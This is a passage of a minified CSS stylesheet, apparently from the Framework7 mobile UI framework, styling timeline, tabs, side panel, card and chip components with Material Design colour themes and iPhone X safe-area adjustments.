.timeline-month-title+.timeline-item,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(12px + constant(safe-area-inset-left));padding-left:calc(12px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.md .theme-dark .timeline-item-inner{background-color:rgba(255,255,255,.03)}.md .theme-dark .timeline-item-time{color:rgba(255,255,255,.54)}.md .color-theme-red .timeline-item-date,.md .color-theme-red .timeline-month-title,.md .color-theme-red .timeline-year-title{background:#f44336}.md .color-theme-green .timeline-item-date,.md .color-theme-green .timeline-month-title,.md .color-theme-green .timeline-year-title{background:#4caf50}.md .color-theme-blue .timeline-item-date,.md .color-theme-blue .timeline-month-title,.md .color-theme-blue .timeline-year-title{background:#2196f3}.md .color-theme-pink .timeline-item-date,.md .color-theme-pink .timeline-month-title,.md .color-theme-pink .timeline-year-title{background:#e91e63}.md .color-theme-yellow .timeline-item-date,.md .color-theme-yellow .timeline-month-title,.md .color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .color-theme-orange .timeline-item-date,.md .color-theme-orange .timeline-month-title,.md .color-theme-orange .timeline-year-title{background:#ff9800}.md .color-theme-gray .timeline-item-date,.md .color-theme-gray .timeline-month-title,.md .color-theme-gray .timeline-year-title{background:#9e9e9e}.md .color-theme-white .timeline-item-date,.md .color-theme-white .timeline-month-title,.md .color-theme-white .timeline-year-title{background:#fff}.md .color-theme-black .timeline-item-date,.md .color-theme-black .timeline-month-title,.md .color-theme-black .timeline-year-title{background:#000}.md .timeline.color-theme-red .timeline-item-date,.md .timeline.color-theme-red .timeline-month-title,.md .timeline.color-theme-red .timeline-year-title{background:#f44336}.md .timeline.color-theme-green .timeline-item-date,.md .timeline.color-theme-green .timeline-month-title,.md .timeline.color-theme-green .timeline-year-title{background:#4caf50}.md .timeline.color-theme-blue .timeline-item-date,.md .timeline.color-theme-blue .timeline-month-title,.md .timeline.color-theme-blue .timeline-year-title{background:#2196f3}.md .timeline.color-theme-pink .timeline-item-date,.md .timeline.color-theme-pink .timeline-month-title,.md .timeline.color-theme-pink .timeline-year-title{background:#e91e63}.md .timeline.color-theme-yellow .timeline-item-date,.md .timeline.color-theme-yellow .timeline-month-title,.md .timeline.color-theme-yellow .timeline-year-title{background:#ffeb3b}.md .timeline.color-theme-orange .timeline-item-date,.md .timeline.color-theme-orange .timeline-month-title,.md .timeline.color-theme-orange .timeline-year-title{background:#ff9800}.md .timeline.color-theme-gray .timeline-item-date,.md .timeline.color-theme-gray .timeline-month-title,.md .timeline.color-theme-gray .timeline-year-title{background:#9e9e9e}.md .timeline.color-theme-white .timeline-item-date,.md .timeline.color-theme-white .timeline-month-title,.md .timeline.color-theme-white .timeline-year-title{background:#fff}.md .timeline.color-theme-black .timeline-item-date,.md .timeline.color-theme-black .timeline-month-title,.md .timeline.color-theme-black .timeline-year-title{background:#000}.tabs .tab{display:none}.tabs .tab-active{display:block}.tabs-animated-wrap{position:relative;width:100%;overflow:hidden;height:100%}.tabs-animated-wrap>.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:100%;-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-animated-wrap>.tabs>.tab{width:100%;display:block;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.tabs-animated-wrap.not-animated>.tabs{-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-swipeable-wrap{height:100%}.tabs-swipeable-wrap>.tabs{height:100%}.tabs-swipeable-wrap>.tabs>.tab{display:block}.page>.tabs{height:100%}.panel-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;opacity:0;z-index:5999;display:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.panel-backdrop.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel{z-index:1000;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;overflow:auto;-webkit-overflow-scrolling:touch;top:0;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);width:260px;background-color:#fff}.panel.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel.panel-reveal.not-animated~.view,.panel.panel-reveal.not-animated~.views{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel-cover{z-index:6000}.panel-left{left:0}.panel-left.panel-cover{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.panel-right{right:0}.panel-right.panel-cover{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.panel-visible-by-breakpoint{display:block;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important}.panel-visible-by-breakpoint.panel-cover{z-index:5900}html.with-panel .framework7-root>.view .page-content,html.with-panel .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}html.with-panel-left-cover .panel-backdrop,html.with-panel-right-cover .panel-backdrop{display:block;opacity:1}html.with-panel-left-reveal .panel-backdrop,html.with-panel-right-reveal .panel-backdrop,html.with-panel-transitioning .panel-backdrop{background:rgba(0,0,0,0);display:block;opacity:0}html.with-panel-left-reveal .framework7-root>.view,html.with-panel-left-reveal .panel-backdrop,html.with-panel-left-reveal .views{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}html.with-panel-right-reveal .framework7-root>.view,html.with-panel-right-reveal .panel-backdrop,html.with-panel-right-reveal .views{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}html.with-panel-left-cover .panel-left{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-panel-right-cover .panel-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-statusbar.device-ios .panel,html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel{top:20px;height:calc(100% - 20px)}html.with-statusbar.device-android .panel,html.with-statusbar.md:not(.device-ios):not(.device-android) .panel{top:24px;height:calc(100% - 24px)}html.with-statusbar.device-iphone-x .panel{top:constant(safe-area-inset-top);top:env(safe-area-inset-top);height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top))}.md .panel-backdrop{-webkit-transition-duration:.3s;transition-duration:.3s;background:rgba(0,0,0,.2)}.md .panel{-webkit-transition-duration:.3s;transition-duration:.3s}.md .panel-visible{display:block}.md .panel-visible-by-breakpoint{-webkit-box-shadow:none;box-shadow:none}.md.with-panel-left-cover .panel-cover,.md.with-panel-right-cover .panel-cover{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views{-webkit-box-shadow:0 0 20px rgba(0,0,0,.5);box-shadow:0 0 20px rgba(0,0,0,.5)}.md.with-panel-left-reveal .framework7-root>.view,.md.with-panel-left-reveal .views,.md.with-panel-right-reveal .framework7-root>.view,.md.with-panel-right-reveal .views,.md.with-panel-transitioning .framework7-root>.view,.md.with-panel-transitioning .views{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform,-webkit-box-shadow;transition-property:-webkit-transform,-webkit-box-shadow;transition-property:transform,box-shadow;transition-property:transform,box-shadow,-webkit-transform,-webkit-box-shadow}.card .list>ul:before,.cards-list>ul:before{display:none!important}.card .list>ul:after,.cards-list>ul:after{display:none!important}.card{background:#fff;position:relative;border-radius:4px;font-size:14px}.card .block,.card .list{margin:0}.row:not(.no-gap) .col>.card{margin-left:0;margin-right:0}.card-content{position:relative}.card-content-padding{position:relative}.card-content-padding>p:first-child{margin-top:0}.card-content-padding>p:last-child{margin-bottom:0}.card-footer,.card-header{min-height:44px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.card-footer[valign=top],.card-header[valign=top]{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.card-footer[valign=bottom],.card-header[valign=bottom]{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.card-footer a.link,.card-header a.link{position:relative}.card-footer a.link i.icon,.card-header a.link i.icon{display:block}.card-footer a.icon-only,.card-header a.icon-only{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0}.card-header{border-radius:4px 4px 0 0}.card-header:after{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .card-header:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-header:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-header.no-hairline:after{display:none!important}.card-footer{border-radius:0 0 4px 4px}.card-footer:before{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}html.device-pixel-ratio-2 .card-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-footer.no-hairline:before{display:none!important}.md .card .list ul,.md .cards-list ul{background:0 0}.md .card{margin:8px;-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12);box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)}.md .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.md .card-footer a.link,.md .card-header a.link{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);font-weight:500;letter-spacing:.03em}input[type=button].md .card-footer a.link,input[type=button].md .card-header a.link,input[type=submit].md .card-footer a.link,input[type=submit].md .card-header a.link{width:100%}.md .card-footer a.link.active-state,.md .card-header a.link.active-state{background:rgba(0,0,0,.1)}.md .card-footer a.icon-only,.md .card-header a.icon-only{min-width:48px}.md .page-content>.card:last-child{margin-bottom:32px}.md .card-content-padding{padding:16px}.md .card-content-padding>.block,.md .card-content-padding>.list{margin:-16px}.md .card-footer,.md .card-header{min-height:48px;padding:4px 16px}.md .card-header{font-size:16px}.md .card-footer{color:#757575}.md .theme-dark .card{background-color:rgba(255,255,255,.03)}.md .theme-dark .card-outline{border-color:#282829}.md .theme-dark .card-header:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .card-footer{color:rgba(255,255,255,.54)}.md .theme-dark .card-footer:before{background-color:rgba(255,255,255,.08)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}.md .card-footer.color-theme-red a.link,.md .card-header.color-theme-red a.link,.md .color-theme-red .card-footer a.link,.md .color-theme-red .card-header a.link{color:#f44336}.md .card-footer.color-theme-green a.link,.md .card-header.color-theme-green a.link,.md .color-theme-green .card-footer a.link,.md .color-theme-green .card-header a.link{color:#4caf50}.md .card-footer.color-theme-blue a.link,.md .card-header.color-theme-blue a.link,.md .color-theme-blue .card-footer a.link,.md .color-theme-blue .card-header a.link{color:#2196f3}.md .card-footer.color-theme-pink a.link,.md .card-header.color-theme-pink a.link,.md .color-theme-pink .card-footer a.link,.md .color-theme-pink .card-header a.link{color:#e91e63}.md .card-footer.color-theme-yellow a.link,.md .card-header.color-theme-yellow a.link,.md .color-theme-yellow .card-footer a.link,.md .color-theme-yellow .card-header a.link{color:#ffeb3b}.md .card-footer.color-theme-orange a.link,.md .card-header.color-theme-orange a.link,.md .color-theme-orange .card-footer a.link,.md .color-theme-orange .card-header a.link{color:#ff9800}.md .card-footer.color-theme-gray a.link,.md .card-header.color-theme-gray a.link,.md .color-theme-gray .card-footer a.link,.md .color-theme-gray .card-header a.link{color:#9e9e9e}.md .card-footer.color-theme-white a.link,.md .card-header.color-theme-white a.link,.md .color-theme-white .card-footer a.link,.md .color-theme-white .card-header a.link{color:#fff}.md .card-footer.color-theme-black a.link,.md .card-header.color-theme-black a.link,.md .color-theme-black .card-footer a.link,.md .color-theme-black .card-header a.link{color:#000}.md .card-footer a.link.color-red,.md .card-header a.link.color-red{color:#f44336}.md .card-footer a.link.color-green,.md .card-header a.link.color-green{color:#4caf50}.md .card-footer a.link.color-blue,.md .card-header a.link.color-blue{color:#2196f3}.md .card-footer a.link.color-pink,.md .card-header a.link.color-pink{color:#e91e63}.md .card-footer a.link.color-yellow,.md .card-header a.link.color-yellow{color:#ffeb3b}.md .card-footer a.link.color-orange,.md .card-header a.link.color-orange{color:#ff9800}.md .card-footer a.link.color-gray,.md .card-header a.link.color-gray{color:#9e9e9e}.md .card-footer a.link.color-white,.md .card-header a.link.color-white{color:#fff}.md .card-footer a.link.color-black,.md .card-header a.link.color-black{color:#000}.chip{font-weight:400;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:2px 0}.chip-media{border-radius:50%;text-align:center;color:#fff;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.chip-media img{max-width:100%;max-height:100%;width:auto;height:auto;border-radius:50%;display:block}.chip-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;position:relative;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.chip-delete{text-align:center;cursor:pointer;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;background-repeat:no-repeat}.chip .chip-delete.active-state{opacity:1}.md .chip{font-size:13px;color:rgba(0,0,0,.87);background:rgba(0,0,0,.12);height:32px;line-height:32px;border-radius:16px;padding:0 12px}.md .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.md .chip-media{width:32px;height:32px;vertical-align:top;border-radius:50%;text-align:center;line-height:32px;color:#fff;font-size:16px;margin-left:-12px}.md .chip-media+.chip-label{margin-left:8px}.md .chip-label+.chip-delete{margin-left:4px}.md .chip-delete{width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:20px 20px;opacity:.54;margin-right:-8px}.md .theme-dark .chip{background:#333;color:rgba(255,255,255,.87)}.md .theme-dark .chip-outline{background:0 0;border-color:#333}.md .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .chip.color-red{background:#f44336;color:#fff}.md .chip.color-red.chip-outline{background:0 0;border-color:#f44336;color:#f44336}.md .chip.color-green{background:#4caf50;color:#fff}.md .chip.color-green.chip-outline{background:0 0;border-color:#4caf50;color:#4caf50}.md .chip.color-blue{background:#2196f3;color:#fff}.md .chip.color-blue.chip-outline{background:0 0;border-color:#2196f3;color:#2196f3}.md .chip.color-pink{background:#e91e63;color:#fff}.md .chip.color-pink.chip-outline{background:0 0;border-color:#e91e63;color:#e91e63}.md .chip.color-yellow{background:#ffeb3b;color:#fff}.md .chip.color-yellow.chip-outline{background:0 0;border-color:#ffeb3b;color:#ffeb3b}.md .chip.color-orange{background:#ff9800;color:#fff}.md .chip.color-orange.chip-outline{background:0 0;border-color:#ff9800;color:#ff9800}.md .chip.color-gray{background:#9e9e9e;color:#fff}.md .chip.color-gray.chip-outline{background:0 0;border-color:#9e9e9e;color:#9e9e9e}.md .chip.color-white{background:#fff;color:#fff}.md .chip.color-white.chip-outline{background:0 